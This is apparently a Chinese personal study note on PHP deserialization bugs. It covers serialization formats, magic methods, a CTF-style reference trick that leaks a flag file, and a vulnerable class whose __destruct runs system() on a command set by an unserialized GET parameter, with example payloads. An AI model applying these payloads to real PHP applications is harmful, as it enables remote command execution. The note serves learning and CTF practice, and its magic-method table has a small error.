php反序列化个人笔记

反序列化

什么是反序列化?

格式转换

序列化:对象转换为字符串或者数组等格式

反序列化:将数组或字符串转换成对象

为什么会出现安全漏洞?

魔术方法

如何利用漏洞?

通过构造pop链 ,找到代码的逻辑漏洞,进行getshell,rce等操作

反序列化利用分为三类

  • 魔术方法的调用逻辑
  • 语言原生类的调用逻辑,如SoapClient
  • 语言自身的安全缺陷,如CVE-2016-7124

序列化

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的

PHP基本类型的序列化

php 复制代码
bool:  b:value =>b:0
int:   i:value=>i:1
str:   s:length:"value";=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:"a"}
object:O:<class_name_length>:
NULL:  N

序列化前

php 复制代码
<?php
class test{
	public $a=false;
	public $b=3;
	public $c='hello';
	public $d=array(1,2,3,'hello');
	public $e=NULL;
}
$test = new test;
echo serialize($test);
?>

序列化后

O:4:"test":5:{s:1:"a";b:0;s:1:"b";i:3;s:1:"c";s:5:"hello";s:1:"d";a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:"hello";}s:1:"e";N;}

R与r

当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。

不过基础类型不受此条件限制,总是会被序列化

为什么?(看完"分析"以后再看这里)

php 复制代码
<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}

而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示

php 复制代码
<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}

魔术方法

魔术方法 说明
__construct() 构造函数,当对象new时会自动调用
__destruct() 折构函数,当对象被销毁时会被自动调用
__wakeup() unserialize() 时会被自动调用,在其之前
__invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__call() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__callStack() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 在类被当作字符串使用时触发,如echo
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep,如果存在,该方法会被优先调用

这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法

eg:例如题目中有一个类名为Clazz的class类,比如当我 们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct

exp:

php 复制代码
<?php 
class Clazz
{
    public $a;
    public $b;
 
    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?> 

序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

R为2代表是第二个反序列化元素被引用

POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

php 复制代码
<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
php 复制代码
<?php
class Clazz
{
    public $a;
    public $b;
} 
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。

当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b

这里的 @ 前缀作用如下:

  1. 抑制错误 :如果 unserialize($_POST['data']) 在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@ 运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。
  2. 继续执行 :即使 unserialize() 函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。
  3. 安全风险 :使用 @ 错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用 @ 运算符掩盖其利用反序列化漏洞执行恶意代码的过程。

核心例子

这是一段php代码

php 复制代码
<?php
class C{
	public $cmd = 'ipconfig';
	public function __destruct(){
		system($this->cmd);
	}
	public function __construct(){
	echo 'xiaodisec'.'<br>';
	}
}
$cc = new C();
echo serialize($cc);
?>

这是执行效果,会echo一个xiaodisec,再打印出序列化后的cc,然后执行ipconfig

我们把代码改一下

php 复制代码
<?php
class C{
	public $cmd = 'ipconfig';
	public function __destruct(){
		system($this->cmd);
	}
	public function __construct(){
	echo 'xiaodisec'.'<br>';
	}
}
//$cc = new C();
//echo serialize($cc);//O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";} 
unserialize($_GET[c]);
?>

我们把上面构造好的exp序列化之后,传入c中,可以完成ipconfig

然而我们可以做的并不止这个,在我们的payloadO:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}中,我们要执行的命令时ipconfig,他是一个public变量,我们在传入这个序列化字符串的时候,还可以做到更改这个变量的信息,例如:O:1:"C":1:{s:3:"cmd";s:3:"ver";}

(ver:查看当前操作系统的版本号)